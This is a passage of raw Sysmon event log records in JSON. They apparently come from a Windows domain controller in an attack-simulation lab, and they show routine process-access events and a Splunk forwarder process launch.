\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.173\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nProcessId: 3800\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nParentProcessId: 3788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.173","ProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010ACC90200}","ParentProcessId":"3788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nSourceProcessId: 3788\r\nSourceThreadId: 3792\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","SourceProcessId":"3788","SourceThreadId":"3792","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 